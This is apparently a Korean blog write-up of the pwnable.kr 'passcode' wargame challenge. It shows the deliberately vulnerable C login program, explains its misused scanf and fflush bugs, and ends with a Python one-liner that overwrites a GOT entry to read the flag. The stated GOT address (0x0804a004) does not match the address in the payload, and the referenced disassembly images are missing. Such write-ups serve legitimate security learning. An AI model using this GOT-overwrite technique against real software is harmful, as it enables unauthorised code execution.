[Pwnable.kr] passcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
 
void login(){
        int passcode1;
        int passcode2;
 
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
 
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}
 
void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}
 
int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");
 
        welcome();
        login();
 
        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}
cs


이 코드의 문제는


1. fflush(stdin)이 리눅스에서는 정상작동하지 않는다는 것(즉 버퍼가 비워지지 않아 passcode2를 입력할 수가 없습니다.)

2. scanf 함수로 주소값을 인자로 보내야하는데 변수 자체를 보내서 passcode1, passcode2에 저장되어있는 쓰레기값을 주소로 생각해서 그 곳에 작성을 하는 것


이 두 가지입니다. 원래 코드가 의도한 것은 338150 / 13371337을 입력하면 로그인이 성공하는 것이겠지만 이 두 문제 때문에 실제로 실행을 해보면 아무 숫자나 입력하고 엔터를 치자마자 Segmentation Fault가 뜨는 것을 확인할 수 있습니다.



passcode1, passcode2에 저장되어있는 쓰레기값을 어떻게 바꿀 방법만 있으면 원하는 주소에 원하는 값을 쓸 수 있게 되니까 system("bin/cat flag")를 실행할 방법을 찾을 수 있을 것 같습니다. 


그 방법은 코드 상에서 name과 passcode1, passcode2가 다른 지역함수 안에 정의되어 있다는 점으로부터 얻을 수 있습니다. welcome(), login()의 코드를 디스어셈블 해보면 아래와 같습니다.







이 결과를 바탕으로 스택의 구조를 그려보면 아래와 같습니다.



정말 운좋게도 passcode1에 저장되어있는 값은 임의로 설정이 가능하네요. 이제 거의 다 끝났습니다. fflush의 GOT를 위의 C 코드에서 19번째에 해당하는 주소(system("bin/cat flag")로 바꿔버리면 flag를 읽을 수 있을 것입니다.(GOT overwrite 공격입니다.) fflush의 GOT은 확인해보면 0x0804a004이고,



옮겨가야 할 주소는 0x080485e3 = 134514147입니다.



최종적으로

python -c 'print "A"*96+"\x00\xa0\x04\x08"+"134514147"' | ./passcode

를 입력하면 fflush의 GOT을 0x080485e3으로 덮어쓰게 되어 flag를 읽을 수 있습니다.




'워게임 > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] leg  (0) 2018.01.15
[Pwnable.kr] input  (0) 2018.01.15
[Pwnable.kr] random  (0) 2018.01.15
[Pwnable.kr] flag  (0) 2018.01.15
[Pwnable.kr] bof  (0) 2018.01.15
[Pwnable.kr] collision  (0) 2018.01.15
  Comments